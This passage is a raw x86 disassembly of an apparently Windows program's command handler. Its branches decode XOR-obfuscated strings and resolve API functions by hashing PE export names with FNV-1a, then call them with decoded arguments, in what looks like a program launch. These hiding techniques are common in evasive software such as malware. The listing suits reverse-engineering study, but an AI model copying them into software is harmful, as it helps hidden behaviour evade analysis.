movups xmmword [esp + 0x498], xmm0
movaps xmm0, xmmword [0x4d4c30]
movups xmmword [esp + 0x4a8], xmm0
movaps xmm0, xmmword [0x4d5460]
movups xmmword [esp + 0x4b8], xmm0
nop dword [eax]
mov al, byte [esp + 0x488]
xor byte [esp + ecx + 0x489], al
inc ecx
cmp ecx, 0x42
jb 0x4b3bf0
push 5
lea eax, [esp + 0x48d]
mov byte [esp + 0x4cf], 0
push eax
call edx
jmp 0x4b50e6
cmp eax, 0x3ea
jne 0x4b3fcd
lea eax, [ecx - 0xbf]
cmp eax, 0x14
ja 0x4b50e6
lea eax, [edx - 0x22b]
cmp eax, 0x14
ja 0x4b50e6
mov byte [esp + 0x6c], 0x2c
mov al, 0x7d
xor al, byte [esp + 0x6c]
mov cl, 0x40
mov byte [esp + 0x6d], al
mov dl, 0x5e
mov al, byte [esp + 0x6c]
mov ah, 0x7f
xor cl, al
mov byte [esp + 0x12], 0x59
mov ch, 0x15
mov byte [esp + 0x6e], cl
xor ch, al
mov byte [esp + 0x76], 0
mov dh, 0x6f
mov byte [esp + 0x72], ch
xor dl, al
mov byte [esp + 0x76], 0
xor ah, al
mov byte [esp + 0x6f], dl
xor dh, al
mov byte [esp + 0x71], ah
mov bl, 0x43
mov byte [esp + 0x73], dh
xor bl, al
lea ecx, [esp + 0x80c]
mov bh, 0x5c
mov byte [esp + 0x70], bl
xor bh, al
mov al, byte [esp + 0x12]
xor al, byte [esp + 0x6c]
mov byte [esp + 0x74], bh
mov byte [esp + 0x75], al
call fcn.004b7490
lea ecx, [esp + 0x6d]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b3cc0
sub ecx, edx
lea eax, [esp + 0x6d]
push ecx
push eax
lea ecx, [esp + 0x814]
call fcn.004b7120
mov dh, 0x28
mov byte [esp + 0x1ff], 0
mov al, 0x6c
mov byte [esp + 0x1f8], dh
mov cl, 0x5f
mov byte [esp + 0x1ff], 0
mov ch, 0x41
mov ah, al
xor cl, dh
xor ch, dh
mov dl, 0x49
mov byte [esp + 0x1fa], cl
mov bl, 0x1b
mov byte [esp + 0x1fe], ch
xor al, dh
lea ecx, [esp + 0x674]
xor dl, dh
mov byte [esp + 0x1f9], al
xor bl, dh
mov byte [esp + 0x1fb], dl
xor ah, dh
mov byte [esp + 0x1fc], bl
mov byte [esp + 0x1fd], ah
call fcn.004b7490
lea ecx, [esp + 0x1f9]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b3d50
sub ecx, edx
lea eax, [esp + 0x1f9]
push ecx
push eax
lea ecx, [esp + 0x67c]
call fcn.004b7120
mov byte [esp + 0x1d4], 0x3d
mov al, 0x53
xor al, byte [esp + 0x1d4]
mov ah, 0x69
mov byte [esp + 0x1d5], al
mov cl, 9
mov al, byte [esp + 0x1d4]
mov dl, 0x51
xor ah, al
mov byte [esp + 0x1dd], 0
mov ch, 0x44
mov byte [esp + 0x1d9], ah
mov dh, 0x79
mov byte [esp + 0x1dd], 0
xor cl, al
xor ch, al
mov bl, 0xe
mov byte [esp + 0x1d6], cl
mov bh, 0x55
mov byte [esp + 0x1da], ch
xor dl, al
lea ecx, [esp + 0x674]
xor bl, al
mov byte [esp + 0x1d7], dl
xor dh, al
mov byte [esp + 0x1d8], bl
xor bh, al
mov byte [esp + 0x1db], dh
lea eax, [esp + 0x1d5]
mov byte [esp + 0x1dc], bh
push eax
call fcn.004b74b0
test al, al
je 0x4b3eae
mov al, 0x6e
mov byte [esp + 0x12c], 9
mov dl, al
mov byte [esp + 0x135], 0
xor al, byte [esp + 0x12c]
mov cl, 0x45
mov ch, 0x4a
mov byte [esp + 0x12d], al
mov al, byte [esp + 0x12c]
mov dh, 0x47
xor cl, al
mov byte [esp + 0x135], 0
xor ch, al
mov byte [esp + 0x12e], cl
mov bl, 0x3d
mov byte [esp + 0x132], ch
mov ah, 0x38
lea ecx, [esp + 0x12d]
xor dl, al
xor dh, al
mov bh, 0x79
mov byte [esp + 0x12f], dl
xor bl, al
mov byte [esp + 0x133], dh
xor ah, al
mov byte [esp + 0x130], bl
xor bh, al
mov byte [esp + 0x131], ah
mov byte [esp + 0x134], bh
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b3e90
sub ecx, edx
lea eax, [esp + 0x12d]
push ecx
push eax
lea ecx, [esp + 0x67c]
call fcn.004b66a0
lea ecx, [esp + 0x674]
call fcn.004b5f90
lea ecx, [esp + 0x80c]
call fcn.004b5f90
mov edi, dword [0x4d986c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0x474ff704
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b3f0d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b3ef0
cmp edx, 0xc11c14d7
je 0x4b3f13
inc ebx
add esi, 4
jmp 0x4b3ee0
mov eax, dword [ebp + edi + 0x24]
movaps xmm0, xmmword [0x4d4370]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov edx, dword [eax + edi]
movups xmmword [esp + 0x2b0], xmm0
add edx, edi
mov dword [esp + 0x2f0], 0x32212122
movaps xmm0, xmmword [0x4d3ce0]
xor ecx, ecx
movups xmmword [esp + 0x2c0], xmm0
mov dword [esp + 0x2f4], 0x29282e34
movaps xmm0, xmmword [0x4d4560]
movups xmmword [esp + 0x2d0], xmm0
mov dword [esp + 0x2f8], 0x3524262a
movaps xmm0, xmmword [str.00i__232__i__h_a]
movups xmmword [esp + 0x2e0], xmm0
mov word [esp + 0x2fc], 0x28
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x2b0]
xor byte [esp + ecx + 0x2b1], al
inc ecx
cmp ecx, 0x4c
jb 0x4b3fa0
push 5
lea eax, [esp + 0x2b5]
mov byte [esp + 0x301], 0
push eax
call edx
jmp 0x4b50e6
cmp eax, 0x3eb
jne 0x4b40dd
lea eax, [ecx - 0xe7]
cmp eax, 0x14
ja 0x4b50e6
lea eax, [edx - 0x22b]
cmp eax, 0x14
ja 0x4b50e6
mov edi, dword [0x4d986c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0x54e99dfd
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b403d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b4020
cmp edx, 0x8d80668
je 0x4b4043
inc ebx
add esi, 4
jmp 0x4b4010
mov eax, dword [ebp + edi + 0x24]
movaps xmm0, xmmword [0x4d4d90]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov edx, dword [eax + edi]
movups xmmword [esp + 0x3f8], xmm0
add edx, edi
mov dword [esp + 0x438], 0x47767a53
movaps xmm0, xmmword [0x4d58d0]
xor ecx, ecx
movups xmmword [esp + 0x408], xmm0
mov byte [esp + 0x43c], 0
movaps xmm0, xmmword [0x4d4ab0]
movups xmmword [esp + 0x418], xmm0
movaps xmm0, xmmword [0x4d5b40]
movups xmmword [esp + 0x428], xmm0
nop dword [eax + eax]
mov al, byte [esp + 0x3f8]
xor byte [esp + ecx + 0x3f9], al
inc ecx
cmp ecx, 0x43
jb 0x4b40b0
push 5
lea eax, [esp + 0x3fd]
mov byte [esp + 0x440], 0
push eax
call edx
jmp 0x4b50e6
cmp eax, 0xfa1
jne 0x4b44ed
lea eax, [ecx - 0x46]
cmp eax, 0x104
ja 0x4b50e6
lea eax, [edx - 0x1f7]
cmp eax, 0x18
ja 0x4b50e6
mov byte [esp + 0xd8], 0x1b
mov al, 0x59
xor al, byte [esp + 0xd8]
mov cl, 0x6d
xor cl, byte [esp + 0xd8]
mov ch, 0x58
mov byte [esp + 0xd9], al
mov dl, 0x62
mov byte [esp + 0xda], cl
mov ah, 0x51
mov cl, byte [esp + 0xd8]
mov dh, 0x53
mov byte [esp + 0x12], 0x4a
xor ch, cl
mov al, byte [esp + 0x12]
mov bl, 0x7e
xor al, cl
mov byte [esp + 0x13], 0x52
mov byte [esp + 0xe1], al
mov bh, 0x5e
mov al, byte [esp + 0x13]
xor dl, cl
xor bl, cl
mov byte [esp + 0xde], ch
xor ah, cl
mov byte [esp + 0xe3], 0
xor dh, cl
mov byte [esp + 0xdb], dl
xor bh, cl
mov byte [esp + 0xdc], bl
xor al, cl
mov byte [esp + 0xdd], ah
lea ecx, [esp + 0x794]
mov byte [esp + 0xdf], dh
mov byte [esp + 0xe0], bh
mov byte [esp + 0xe2], al
mov byte [esp + 0xe3], 0
call fcn.004b7490
lea ecx, [esp + 0xd9]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b41c0
sub ecx, edx
lea eax, [esp + 0xd9]
push ecx
push eax
lea ecx, [esp + 0x79c]
call fcn.004b7120
mov byte [esp + 0x138], 0x11
mov al, 0x22
xor al, byte [esp + 0x138]
mov cl, 0x54
mov byte [esp + 0x139], al
mov ch, 0x61
mov al, byte [esp + 0x138]
mov dl, 0x66
xor cl, al
mov byte [esp + 0x141], 0
xor ch, al
mov byte [esp + 0x13a], cl
mov ah, 0x46
mov byte [esp + 0x13e], ch
mov dh, 0x24
mov byte [esp + 0x141], 0
mov bl, 0x55
lea ecx, [esp + 0x77c]
mov bh, 0x79
xor dl, al
xor bl, al
mov byte [esp + 0x13b], dl
xor ah, al
mov byte [esp + 0x13c], bl
xor dh, al
mov byte [esp + 0x13d], ah
xor bh, al
mov byte [esp + 0x13f], dh
mov byte [esp + 0x140], bh
call fcn.004b7490
lea ecx, [esp + 0x139]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b4270
sub ecx, edx
lea eax, [esp + 0x139]
push ecx
push eax
lea ecx, [esp + 0x784]
call fcn.004b7120
mov byte [esp + 0x18c], 0x6c
mov al, 4
xor al, byte [esp + 0x18c]
mov cl, 9
mov byte [esp + 0x18d], al
mov bl, cl
mov al, byte [esp + 0x18c]
mov ah, 0x25
xor ah, al
mov byte [esp + 0x195], 0
xor cl, al
mov byte [esp + 0x191], ah
mov dl, 2
mov byte [esp + 0x18e], cl
mov ch, 0x35
mov byte [esp + 0x195], 0
xor ch, al
mov dh, 0x15
xor dl, al
mov byte [esp + 0x192], ch
xor bl, al
mov byte [esp + 0x18f], dl
xor dh, al
mov byte [esp + 0x190], bl
mov bh, 0x20
mov byte [esp + 0x193], dh
xor bh, al
lea ecx, [esp + 0x54c]
lea eax, [esp + 0x296]
mov byte [esp + 0x194], bh
push eax
push 1
push 0
lea eax, [esp + 0x7a0]
push eax
call fcn.004b6890
lea eax, [esp + 0x18d]
push eax
lea ecx, [esp + 0x550]
call fcn.004b74b0
lea ecx, [esp + 0x54c]
mov bl, al
call fcn.004b5f90
test bl, bl
je 0x4b43dc
mov al, 0x7c
mov byte [esp + 0x60], 0x2d
mov bl, al
mov byte [esp + 0x12], 0x6c
xor al, byte [esp + 0x60]
mov cl, 0x15
mov byte [esp + 0x61], al
mov ah, cl
mov al, byte [esp + 0x60]
mov dl, 0x4e
mov ch, 0x66
mov byte [esp + 0x6a], 0
mov dh, 0x7b
mov byte [esp + 0x6a], 0
xor cl, al
xor dl, al
xor ch, al
mov byte [esp + 0x62], cl
xor dh, al
mov byte [esp + 0x66], ch
mov bh, 0x5d
mov byte [esp + 0x63], dl
xor bl, al
mov byte [esp + 0x67], dh
xor ah, al
mov byte [esp + 0x64], bl
xor bh, al
mov byte [esp + 0x65], ah
mov al, byte [esp + 0x12]
lea ecx, [esp + 0x61]
xor al, byte [esp + 0x60]
lea edx, [ecx + 1]
mov byte [esp + 0x68], bh
mov byte [esp + 0x69], al
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b43c1
sub ecx, edx
lea eax, [esp + 0x61]
push ecx
push eax
lea ecx, [esp + 0x784]
call fcn.004b6830
lea ecx, [esp + 0x77c]
call fcn.004b5f90
lea ecx, [esp + 0x794]
call fcn.004b5f90
push 0x4cb469
mov ecx, 0x4d90b0
call fcn.004b74b0
test al, al
je 0x4b50e6
mov edi, dword [0x4d986c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x5236c2e9
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b444d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b4430
cmp edx, 0xceb7669c
je 0x4b4453
inc ebx
add esi, 4
jmp 0x4b4420
mov eax, dword [ebp + edi + 0x24]
movaps xmm0, xmmword [0x4d4810]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov edx, dword [eax + edi]
movups xmmword [esp + 0x3b0], xmm0
add edx, edi
mov dword [esp + 0x3f0], 0x620d0463
movaps xmm0, xmmword [0x4d3f60]
xor ecx, ecx
movups xmmword [esp + 0x3c0], xmm0
mov byte [esp + 0x3f4], 0
movaps xmm0, xmmword [0x4d4620]
movups xmmword [esp + 0x3d0], xmm0
movaps xmm0, xmmword [str.__48_3y00x_a_b_]
movups xmmword [esp + 0x3e0], xmm0
nop dword [eax + eax]
mov al, byte [esp + 0x3b0]
xor byte [esp + ecx + 0x3b1], al
inc ecx
cmp ecx, 0x43
jb 0x4b44c0
push 5
lea eax, [esp + 0x3b5]
mov byte [esp + 0x3f8], 0
push eax
call edx
jmp 0x4b50e6
cmp eax, 0xfa2
jne 0x4b479c
lea eax, [ecx - 0x28]
cmp eax, 0xa0
ja 0x4b50e6
lea eax, [edx - 0x190]
cmp eax, 0x1b
ja 0x4b50e6
mov al, 0x23
mov byte [esp + 0x54], 0x1a
mov ch, al
mov byte [esp + 0x12], 0x6a
xor al, byte [esp + 0x54]
mov cl, 0x28
mov byte [esp + 0x55], al
mov dl, 0x62
mov al, byte [esp + 0x54]
mov ah, 0x7b
xor cl, al
mov byte [esp + 0x5e], 0
xor ch, al
mov byte [esp + 0x56], cl
mov dh, 0x6c
mov byte [esp + 0x5a], ch
xor dl, al
mov byte [esp + 0x5e], 0
xor ah, al
mov byte [esp + 0x57], dl
xor dh, al
mov byte [esp + 0x59], ah
mov bl, 0x5c
mov byte [esp + 0x5b], dh
xor bl, al
lea ecx, [esp + 0x734]
mov bh, 0x50
mov byte [esp + 0x58], bl
xor bh, al
mov al, byte [esp + 0x12]
xor al, byte [esp + 0x54]
mov byte [esp + 0x5c], bh
mov byte [esp + 0x5d], al
call fcn.004b7490
lea ecx, [esp + 0x55]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b4590
sub ecx, edx
lea eax, [esp + 0x55]
push ecx
push eax
lea ecx, [esp + 0x73c]
call fcn.004b7120
mov dh, 0x14
mov byte [esp + 0x217], 0
mov cl, 0x43
mov byte [esp + 0x210], dh
mov bl, cl
mov byte [esp + 0x217], 0
mov ch, 0x64
xor cl, dh
xor ch, dh
mov byte [esp + 0x212], cl
mov al, 0x7e
mov byte [esp + 0x216], ch
mov dl, 0x6c
lea ecx, [esp + 0x7c4]
mov ah, 0x5f
xor al, dh
xor dl, dh
mov byte [esp + 0x211], al
xor bl, dh
mov byte [esp + 0x213], dl
xor ah, dh
mov byte [esp + 0x214], bl
mov byte [esp + 0x215], ah
call fcn.004b7490
lea ecx, [esp + 0x211]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b4620
sub ecx, edx
lea eax, [esp + 0x211]
push ecx
push eax
lea ecx, [esp + 0x7cc]
call fcn.004b7120
mov bh, 0x7c
mov byte [esp + 0x27c], 0
mov dl, 8
mov byte [esp + 0x274], bh
mov ah, dl
mov byte [esp + 0x27c], 0
mov al, 0x4f
xor ah, bh
xor al, bh
mov byte [esp + 0x279], ah
mov byte [esp + 0x275], al
mov cl, 0x1a
lea eax, [esp + 0x295]
mov bl, cl
push eax
mov ch, 0xd
lea eax, [esp + 0x738]
push 1
xor cl, bh
xor ch, bh
mov dh, 0x44
mov byte [esp + 0x27e], cl
push 0
xor dl, bh
mov byte [esp + 0x286], ch
xor dh, bh
mov byte [esp + 0x283], dl
xor bl, bh
mov byte [esp + 0x287], dh
push eax
lea ecx, [esp + 0x544]
mov byte [esp + 0x288], bl
call fcn.004b6890
lea eax, [esp + 0x275]
push eax
lea ecx, [esp + 0x538]
call fcn.004b74b0
lea ecx, [esp + 0x534]
mov bl, al
call fcn.004b5f90
test bl, bl
je 0x4b4771
mov dh, 0x6d
mov byte [esp + 0x1f7], 0
mov al, 9
mov byte [esp + 0x1f0], dh
mov dl, al
mov byte [esp + 0x1f7], 0
mov cl, 0x21
mov bl, 0x28
xor cl, dh
mov ah, 0x5a
mov ch, 0xf
mov byte [esp + 0x1f2], cl
xor al, dh
xor dl, dh
xor bl, dh
mov byte [esp + 0x1f3], dl
xor ah, dh
mov byte [esp + 0x1f1], al
xor ch, dh
mov byte [esp + 0x1f4], bl
mov byte [esp + 0x1f6], ch
lea ecx, [esp + 0x1f1]
mov byte [esp + 0x1f5], ah
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b4753
sub ecx, edx
lea eax, [esp + 0x1f1]
push ecx
push eax
lea ecx, [esp + 0x7cc]
call fcn.004b6830
lea ecx, [esp + 0x7c4]
call fcn.004b5f90
lea ecx, [esp + 0x734]
call fcn.004b5f90
cmp byte [0x4d9018], 0
sete byte [0x4d9018]
jmp 0x4b50e6
cmp eax, 0xfa3
jne 0x4b4b3d
lea eax, [ecx - 0xe6]
cmp eax, 0x82
ja 0x4b50e6
lea eax, [edx - 0x190]
cmp eax, 0x1b
ja 0x4b50e6
mov byte [esp + 0x144], 0x32
mov al, 0x5d
xor al, byte [esp + 0x144]
mov cl, 0x5f
mov byte [esp + 0x145], al
mov ch, 0x60
mov al, byte [esp + 0x144]
mov dl, 0x43
xor cl, al
mov byte [esp + 0x14d], 0
xor ch, al
mov byte [esp + 0x146], cl
mov ah, 0x5b
mov byte [esp + 0x14a], ch
mov dh, 0x41
mov byte [esp + 0x14d], 0
mov bl, 0x67
lea ecx, [esp + 0x62c]
mov bh, 0x68
xor dl, al
xor bl, al
mov byte [esp + 0x147], dl
xor ah, al
mov byte [esp + 0x148], bl
xor dh, al
mov byte [esp + 0x149], ah
xor bh, al
mov byte [esp + 0x14b], dh
mov byte [esp + 0x14c], bh
call fcn.004b7490
lea ecx, [esp + 0x145]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b4860
sub ecx, edx
lea eax, [esp + 0x145]
push ecx
push eax
lea ecx, [esp + 0x634]
call fcn.004b7120
mov bh, 0x47
mov byte [esp + 0x220], 0
mov dl, 0x2a
mov byte [esp + 0x218], bh
mov cl, 0x21
mov byte [esp + 0x220], 0
mov ch, 0xa
mov dh, dl
xor cl, bh
xor ch, bh
mov al, 0xd
mov byte [esp + 0x21a], cl
mov bl, 0x2c
mov byte [esp + 0x21e], ch
mov ah, 0x26
lea ecx, [esp + 0x219]
xor dl, bh
xor al, bh
xor bl, bh
mov byte [esp + 0x21b], dl
xor ah, bh
mov byte [esp + 0x219], al
xor dh, bh
mov byte [esp + 0x21c], bl
mov byte [esp + 0x21f], dh
lea edx, [ecx + 1]
mov byte [esp + 0x21d], ah
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b48f0
sub ecx, edx
lea eax, [esp + 0x219]
push ecx
push eax
lea ecx, [esp + 0x634]
call fcn.004b6830
mov byte [esp + 0x198], 0x4d
mov al, 0x28
xor al, byte [esp + 0x198]
mov ah, 0x26
mov byte [esp + 0x199], al
mov dh, ah
mov al, byte [esp + 0x198]
mov cl, 0x3f
xor ah, al
mov byte [esp + 0x1a1], 0
mov dl, 8
mov byte [esp + 0x19d], ah
mov ch, 0x17
mov byte [esp + 0x1a1], 0
xor cl, al
xor ch, al
mov bl, 0x7b
mov byte [esp + 0x19a], cl
mov bh, 0x7a
mov byte [esp + 0x19e], ch
xor dl, al
lea ecx, [esp + 0x62c]
xor bl, al
mov byte [esp + 0x19b], dl
xor dh, al
mov byte [esp + 0x19c], bl
xor bh, al
mov byte [esp + 0x19f], dh
lea eax, [esp + 0x199]
mov byte [esp + 0x1a0], bh
push eax
call fcn.004b74b0
test al, al
je 0x4b4a4e
xor al, al
mov byte [esp + 0x9c], 0x30
mov byte [esp + 0xa5], al
mov cl, 0x61
xor al, byte [esp + 0x9c]
mov ch, 4
mov byte [esp + 0x9d], al
mov dl, 0x5a
mov al, byte [esp + 0x9c]
mov dh, 0x69
xor cl, al
mov byte [esp + 0xa5], 0
xor ch, al
mov byte [esp + 0x9e], cl
mov bl, 0x78
mov byte [esp + 0xa2], ch
mov ah, 0x48
lea ecx, [esp + 0x9d]
xor dl, al
xor dh, al
mov bh, 0x46
mov byte [esp + 0x9f], dl
xor bl, al
mov byte [esp + 0xa3], dh
xor ah, al
mov byte [esp + 0xa0], bl
xor bh, al
mov byte [esp + 0xa1], ah
mov byte [esp + 0xa4], bh
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b4a30
sub ecx, edx
lea eax, [esp + 0x9d]
push ecx
push eax
lea ecx, [esp + 0x634]
call fcn.004b6830
lea ecx, [esp + 0x62c]
call fcn.004b5f90
mov edi, dword [0x4d986c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop
mov ecx, dword [esi]
mov edx, 0x811418e
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b4a9d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b4a80
cmp edx, 0xfb630951
je 0x4b4aa3
inc ebx
add esi, 4
jmp 0x4b4a70
mov eax, dword [ebp + edi + 0x24]
movaps xmm0, xmmword [0x4d3e50]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov edx, dword [eax + edi]
movups xmmword [esp + 0x368], xmm0
add edx, edi
mov dword [esp + 0x3a8], 0x412e2740
movaps xmm0, xmmword [0x4d4830]
xor ecx, ecx
movups xmmword [esp + 0x378], xmm0
mov byte [esp + 0x3ac], 0
movaps xmm0, xmmword [0x4d3d30]
movups xmmword [esp + 0x388], xmm0
movaps xmm0, xmmword [0x4d4570]
movups xmmword [esp + 0x398], xmm0
nop dword [eax + eax]
mov al, byte [esp + 0x368]
xor byte [esp + ecx + 0x369], al
inc ecx
cmp ecx, 0x43
jb 0x4b4b10
push 5
lea eax, [esp + 0x36d]
mov byte [esp + 0x3b0], 0
push eax
call edx
jmp 0x4b50e6
cmp eax, 0x1389
jne 0x4b4e42
lea eax, [ecx - 0x28]
cmp eax, 0x140
ja 0x4b50e6
lea eax, [edx - 0x109]
cmp eax, 0x36
ja 0x4b50e6
mov bh, 0x76
mov byte [esp + 0x22c], 0
xor ch, ch
mov byte [esp + 0x224], bh
mov cl, 0x2e
xor ch, bh
xor cl, bh
mov byte [esp + 0x22a], ch
mov al, 0x37
mov byte [esp + 0x226], cl
mov dl, 0x41
lea ecx, [esp + 0x824]
mov ah, 0x44
mov dh, 0x2c
mov bl, 3
xor al, bh
xor dl, bh
mov byte [esp + 0x225], al
xor bl, bh
mov byte [esp + 0x227], dl
xor ah, bh
mov byte [esp + 0x228], bl
xor dh, bh
mov byte [esp + 0x229], ah
mov byte [esp + 0x22b], dh
call fcn.004b7490
lea ecx, [esp + 0x225]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b4be0
sub ecx, edx
lea eax, [esp + 0x225]
push ecx
push eax
lea ecx, [esp + 0x82c]
call fcn.004b7120
mov bh, 0x50
mov byte [esp + 0x238], 0
mov cl, 0x24
mov byte [esp + 0x230], bh
mov ch, 0x25
mov byte [esp + 0x238], 0
xor cl, bh
xor ch, bh
mov al, 0x36
mov byte [esp + 0x232], cl
mov dl, 0x33
mov byte [esp + 0x236], ch
mov ah, 0x1b
lea ecx, [esp + 0x65c]
mov dh, 0x62
mov bl, 0x13
xor al, bh
xor dl, bh
xor bl, bh
mov byte [esp + 0x231], al
xor ah, bh
mov byte [esp + 0x233], dl
xor dh, bh
mov byte [esp + 0x234], bl
mov byte [esp + 0x235], ah
mov byte [esp + 0x237], dh
call fcn.004b7490
lea ecx, [esp + 0x231]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b4c80
sub ecx, edx
lea eax, [esp + 0x231]
push ecx
push eax
lea ecx, [esp + 0x664]
call fcn.004b7120
mov byte [esp + 0x15c], 0x46
mov al, 0x2f
xor al, byte [esp + 0x15c]
mov dh, 0x77
mov byte [esp + 0x15d], al
mov bh, dh
mov al, byte [esp + 0x15c]
mov cl, 4
xor cl, al
mov byte [esp + 0x12], 0x33
xor dh, al
mov byte [esp + 0x15e], cl
xor bh, al
mov byte [esp + 0x166], 0
mov dl, 3
mov byte [esp + 0x163], dh
xor dl, al
mov byte [esp + 0x164], bh
mov ah, 0xe
mov byte [esp + 0x15f], dl
xor ah, al
mov byte [esp + 0x166], 0
mov ch, 0x2b
mov byte [esp + 0x161], ah
xor ch, al
mov bl, 0x24
xor bl, al
mov byte [esp + 0x162], ch
mov al, byte [esp + 0x12]
lea ecx, [esp + 0x65c]
xor al, byte [esp + 0x15c]
mov byte [esp + 0x165], al
lea eax, [esp + 0x15d]
push eax
mov byte [esp + 0x164], bl
call fcn.004b74b0
test al, al
je 0x4b4e1b
push 0x7a
lea ecx, [esp + 0x18]
mov byte [esp + 0x18], 0x46
call fcn.004b51f0
push 0x49
lea ecx, [esp + 0x18]
mov byte [esp + 0x19], al
call fcn.004b51f0
push 0x67
lea ecx, [esp + 0x18]
mov byte [esp + 0x1a], al
call fcn.004b51f0
push 0x69
lea ecx, [esp + 0x18]
mov byte [esp + 0x1b], al
call fcn.004b51f0
push 0x59
lea ecx, [esp + 0x18]
mov byte [esp + 0x1c], al
call fcn.004b51f0
push 0x71
lea ecx, [esp + 0x18]
mov byte [esp + 0x1d], al
call fcn.004b51f0
push 0x5a
lea ecx, [esp + 0x18]
mov byte [esp + 0x1e], al
call fcn.004b51f0
push 0x68
lea ecx, [esp + 0x18]
mov byte [esp + 0x1f], al
call fcn.004b51f0
mov cl, byte [esp + 0x14]
xor byte [esp + 0x15], cl
xor byte [esp + 0x16], cl
xor byte [esp + 0x17], cl
xor byte [esp + 0x18], cl
xor byte [esp + 0x19], cl
xor byte [esp + 0x1a], cl
xor byte [esp + 0x1b], cl
xor al, cl
lea ecx, [esp + 0x15]
mov byte [esp + 0x1d], 0
mov byte [esp + 0x1c], al
lea edx, [ecx + 1]
mov byte [esp + 0x1d], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b4e00
sub ecx, edx
lea eax, [esp + 0x15]
push ecx
push eax
lea ecx, [esp + 0x664]
call fcn.004b66a0
lea ecx, [esp + 0x65c]
call fcn.004b5f90
lea ecx, [esp + 0x824]
call fcn.004b5f90
mov dword [0x4d97d0], 1
jmp 0x4b50e6
cmp eax, 0x138a
jne 0x4b50e6
lea eax, [ecx - 0x28]
cmp eax, 0x140
ja 0x4b50e6
lea eax, [edx - 0x149]
cmp eax, 0x36
ja 0x4b50e6
mov byte [esp + 0xa8], 0x1a
mov al, 0x76
xor al, byte [esp + 0xa8]
mov cl, 0x60
mov byte [esp + 0xa9], al
mov ch, 0x68
mov al, byte [esp + 0xa8]
mov dl, 0x7c
xor cl, al
mov byte [esp + 0xb1], 0
xor ch, al
mov byte [esp + 0xaa], cl
mov ah, 0x74
mov byte [esp + 0xae], ch
mov dh, 0x6c
mov byte [esp + 0xb1], 0
mov bl, 0x28
lea ecx, [esp + 0x6ec]
mov bh, 0x49
xor dl, al
xor bl, al
mov byte [esp + 0xab], dl
xor ah, al
mov byte [esp + 0xac], bl
xor dh, al
mov byte [esp + 0xad], ah
xor bh, al
mov byte [esp + 0xaf], dh
mov byte [esp + 0xb0], bh
call fcn.004b7490
lea ecx, [esp + 0xa9]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b4f00
sub ecx, edx
lea eax, [esp + 0xa9]
push ecx
push eax
lea ecx, [esp + 0x6f4]
call fcn.004b7120
mov byte [esp + 0x174], 0x2e
mov al, 0x66
xor al, byte [esp + 0x174]
mov cl, 0x4d
xor cl, byte [esp + 0x174]
mov bh, 0x46
mov byte [esp + 0x175], al
mov ah, 0x49
mov byte [esp + 0x176], cl
mov dl, 0x67
mov cl, byte [esp + 0x174]
mov ch, dl
mov byte [esp + 0x12], 0x5b
xor ah, cl
mov al, byte [esp + 0x12]
xor ch, cl
xor al, cl
